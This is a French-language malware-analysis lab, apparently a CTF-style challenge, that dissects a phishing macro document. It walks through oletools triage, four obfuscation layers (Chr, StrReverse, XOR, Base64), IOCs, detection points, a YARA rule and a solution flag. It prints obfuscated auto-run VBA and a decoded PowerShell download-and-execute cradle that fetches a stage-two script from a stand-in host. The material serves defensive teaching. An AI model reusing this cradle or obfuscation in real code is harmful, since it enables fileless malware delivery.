invoice_Q4_2024.docm
18b6ac40ae4507c2ad040e21af8ca97c9511b5ccdd2381917de47364e103b4ef
Microsoft Word Macro-Enabled Document (OLE2 / OOXML)
lab1_macro.bas — à importer dans un .docm vierge (instructions ci-dessous)
📧 Scénario
De : comptabilite@partner-invoice.com
Objet : Facture Q4 2024 – Validation urgente avant clôture
PJ : invoice_Q4_2024.docm
"Bonjour, veuillez trouver ci-joint la facture Q4 à valider avant 17 h.
Activez les macros pour afficher le document correctement. Merci."
Un utilisateur a ouvert la pièce jointe et cliqué sur « Activer le contenu ».
L'EDR a généré une alerte sur le processus WINWORD.EXE.
Vous récupérez le fichier .docm avant l'exécution complète de la charge.
🎯 Votre mission
- Identifier les 4 couches d'obfuscation et les techniques utilisées.
- Désobfusquer chaque couche et reconstituer les chaînes cachées.
- Extraire l'URL de C&C (Command & Control).
- Décoder le payload Base64 et identifier la commande réelle.
- Dresser la liste complète des IOCs (Indicators of Compromise).
🔧 Outils requis
oletools (Didier Stevens)
pip install oletools # oledump.py, olevba, mraptor…
# Vérifier l'installation
oledump.py --version
olevba --version
Récupérer l'échantillon
Analysez ce fichier dans une VM isolée, sans accès réseau. Le ZIP est protégé par le mot de passe infected (convention de la communauté malware) pour éviter tout blocage antivirus et toute ouverture accidentelle.
- Télécharger l'archive
challenge-01-sample.zipci-dessous. - L'extraire dans votre VM avec le mot de passe
infected. - Vérifier l'empreinte :
sha256sum invoice_Q4_2024.docmdoit correspondre au SHA-256 ci-dessus.
CyberChef
Accessible en ligne : gchq.github.io/CyberChef ou en local via Docker.
🔬 Analyse pas à pas
Triage & identification du fichier
file · sha256sum · oledumpAvant tout, on vérifie ce qu'on a réellement entre les mains.
file invoice_Q4_2024.docm
sha256sum invoice_Q4_2024.docm
invoice_Q4_2024.docm: Microsoft OOXML
<hash_sha256> invoice_Q4_2024.docm
Les fichiers .docm sont des archives ZIP (OOXML).
La commande file ou unzip -l le confirme.
Le VBA est stocké dans word/vbaProject.bin, un binaire OLE2
imbriqué dans le ZIP.
On liste les streams OLE avec oledump :
python3 oledump.py invoice_Q4_2024.docm
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 2058 'VBA/VBA/Module1' M
5: 3421 'VBA/VBA/ThisDocument' M
6: 0 'VBA/VBA/dir'
7: 6234 'VBA/VBA/_VBA_PROJECT'
8: 534 'VBA/PROJECTwm'
Les streams marqués M contiennent du code VBA.
Module1 (stream 4) et ThisDocument (stream 5)
sont nos cibles. On commence par le stream 4.
Extraction du code VBA
oledump.py -vOn extrait et décompresse le code VBA du stream 4 avec le flag -v :
python3 oledump.py -s 4 -v invoice_Q4_2024.docm
Private Sub Document_Open()
Call Rn47Xs
End Sub
Private Sub Rn47Xs()
Dim Xk9q As String
Dim Yp4m As String
Dim Zm8b As Variant
Dim s As String
Dim idx As Integer
Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & _
Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & _
Chr(101) & Chr(108) & Chr(108)
Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")
Zm8b = Array(33, 47, 38, 98, 109, 33)
s = ""
For idx = 0 To UBound(Zm8b)
s = s & Chr(Zm8b(idx) Xor 66)
Next idx
Dim b64 As String
b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
"U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
"Z2UyLnBzMScpKQ=="
MsgBox "..."
End Sub
Observations immédiates : noms de variables aléatoires
(Rn47Xs, Xk9q...), appels Chr(),
StrReverse(), XOR, longue chaîne Base64.
Ce sont des red flags classiques de maldoc obfusqué.
Analyse statique avec olevba
olevbaolevba détecte automatiquement les patterns suspects et les IOCs :
olevba invoice_Q4_2024.docm
olevba --decode invoice_Q4_2024.docm # tente de décoder automatiquement
+-------------+----------------+---------------------------------------------+
| Type | Keyword | Description |
+-------------+----------------+---------------------------------------------+
| AutoExec | Document_Open | Runs when the Word document is opened |
| Suspicious | Chr | May be used to obfuscate strings (×13) |
| Suspicious | StrReverse | May be used to obfuscate strings |
| Suspicious | Xor | May be used to obfuscate data |
| Suspicious | Shell | May run an executable file or application |
| Suspicious | Base64 Strings | Long Base64 encoded string (possible code) |
| IOC | http://update.evil-corp.xyz/stage2.ps1 |
+-------------+----------------+---------------------------------------------+
olevba a déjà extrait l'URL du C&C, mais il faut comprendre comment elle était cachée pour identifier la technique et écrire une règle de détection robuste.
Désobfuscation manuelle, 4 couches
analyse statiqueOn déroule chaque couche à la main pour documenter la technique exacte.
Chaque Chr(n) retourne le caractère ASCII de code n.
En les concaténant, l'attaquant reconstruit une chaîne sensible qui n'apparaît
jamais en clair dans le code source.
Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) &
Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) &
Chr(101) & Chr(108) & Chr(108)
Wscript.Shell est l'objet COM permettant d'exécuter
des commandes système depuis VBA. Sa présence est un indicateur fort
d'intention malveillante.
La fonction StrReverse() renvoie la chaîne miroir de son argument.
L'URL de C&C est stockée à l'envers pour échapper aux signatures
basées sur des patterns d'URL.
Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")
Chaque octet du tableau est XORé avec la clé 0x42 pour
dissimuler des primitives d'exécution. Pour décoder, on réapplique le même XOR
(opération symétrique).
Zm8b = Array(33, 47, 38, 98, 109, 33)
For idx = 0 To UBound(Zm8b)
s = s & Chr(Zm8b(idx) Xor 66)
Next idx
Pour trouver la clé XOR inconnue : comparer les octets encodés avec
des préfixes connus (cmd, pow, htt).
Ici 33 ⊕ 99 = 66 → clé = 0x42.
La charge finale est encodée en Base64 pour être passée à
powershell -enc ou décodée dynamiquement via
[System.Convert]::FromBase64String().
b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
"U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
"Z2UyLnBzMScpKQ=="
Download cradle PowerShell.
IEX = Invoke-Expression : exécute la chaîne téléchargée
comme du code PowerShell. Couplé à DownloadString(),
cela permet de charger du code malveillant directement en mémoire,
sans jamais écrire de fichier sur le disque (fileless).
Reconstitution de la kill chain
synthèseEn assemblant les 4 couches, on reconstitue la commande que le malware exécuterait :
# Ce que le maldoc aurait exécuté si la macro était fonctionnelle :
# 1. Créer un objet Wscript.Shell
# 2. Lancer : cmd /c powershell -nop -w hidden -enc <b64>
# 3. PowerShell décode le B64 et exécute :
IEX((New-Object Net.WebClient).DownloadString(
'http://update.evil-corp.xyz/stage2.ps1'
))
# 4. stage2.ps1 est téléchargé et exécuté en mémoire (fileless)
Fileless malware : aucun fichier PE n'est écrit sur disque.
La détection repose sur la surveillance des comportements mémoire,
des connexions réseau et du logging PowerShell (Script Block Logging,
Module Logging, AMSI).
Extraction des IOCs & rapport
IOC · ReportingOn formalise les éléments collectés dans un tableau d'IOCs.
Toujours défanger les URLs dans les rapports :
remplacer http par hxxp et les points dans le domaine
par [.] pour éviter des clics accidentels.
| Type | Valeur (défangée) | Description |
|---|---|---|
| URL C2 | hxxp://update.evil-corp[.]xyz/stage2.ps1 | Download cradle, stage 2 |
| Commande | cmd /c powershell -nop -w hidden -enc … | Exécution via Wscript.Shell |
| Méthode | IEX + Net.WebClient.DownloadString() | PowerShell download cradle fileless |
| MITRE | T1566.001 · T1059.001 · T1027 · T1105 | Phishing / PS / Obfuscation / Ingress |
🏁 Solution complète
Avez-vous trouvé les 4 couches et tous les IOCs ? Comparez avec la correction.
Flag : {M4cr0_0bf5c4t10n_1s_K3y}
Récapitulatif des couches
| Couche | Technique | Caché | Décodé |
|---|---|---|---|
| 1 | Chr() concaténation | Chr(87)&Chr(115)… | Wscript.Shell |
| 2 | StrReverse() | 1sp.2egats/zyx… | http://update.evil-corp.xyz/stage2.ps1 |
| 3 | XOR 0x42 | [33,47,38,98,109,33] | cmd /c |
| 4 | Base64 UTF-8 | SUVYKC…KQ== | IEX((New-Object Net.WebClient).DownloadString(…)) |
Kill chain complète
Email phishing (T1566.001)
└─► Fichier .docm avec macro (T1204.002)
└─► Document_Open → Rn47Xs()
└─► CreateObject("Wscript.Shell") ← Couche 1
└─► cmd /c powershell ← Couche 3
└─► -enc [Base64] ← Couche 4
└─► IEX(DownloadString(C2)) ← Couche 2
└─► Exécution fileless en mémoire (T1059.001)
Détection, points de contrôle
- EDR : WINWORD.EXE → cmd.exe → powershell.exe (parent-child anormal)
- Réseau : connexion sortante depuis WINWORD.EXE / powershell.exe
- Event 4104 (PS Script Block) : logging du script téléchargé
- AMSI : si PowerShell >= 5, AMSI peut scanner le bloc avant IEX
- Proxy : requête User-Agent PowerShell vers evil-corp.xyz
🚀 Pour aller plus loin
Règle YARA
rule Maldoc_VBA_MultiLayer_Obfuscation
{
meta:
description = "Maldoc VBA avec obfuscation Chr + StrReverse + XOR + Base64"
author = "Synapse Consulting"
date = "2024-12"
reference = "Lab Challenge #01"
mitre = "T1027, T1059.001"
strings:
$chr = "Chr(" ascii
$strrev = "StrReverse" ascii
$xor_kw = " Xor " ascii
$b64_long = /[A-Za-z0-9+\/]{60,}={0,2}/ ascii
$autorun1 = "Document_Open" ascii nocase
$autorun2 = "AutoOpen" ascii nocase
condition:
uint32(0) == 0xD0CF11E0 // Magic OLE2
and 3 of ($chr, $strrev, $xor_kw, $b64_long)
and 1 of ($autorun1, $autorun2)
}
Tester avec : yara -r lab_challenge01.yar invoice_Q4_2024.docm
Ressources
L'outil de référence pour l'analyse de documents OLE2. Le blog contient des dizaines de labs similaires.
Suite complète : olevba, mraptor, rtfobj, oleid, olemeta…
Couteau suisse du décodage : Base64, XOR, From Charcode, Magic (auto-detect)…
Documentation des techniques d'obfuscation utilisées dans ce challenge.
Samples réels (tag : vba, maldoc). Toujours analyser en VM isolée.
Living-off-the-land : outils Windows légitimes détournés comme Wscript.Shell.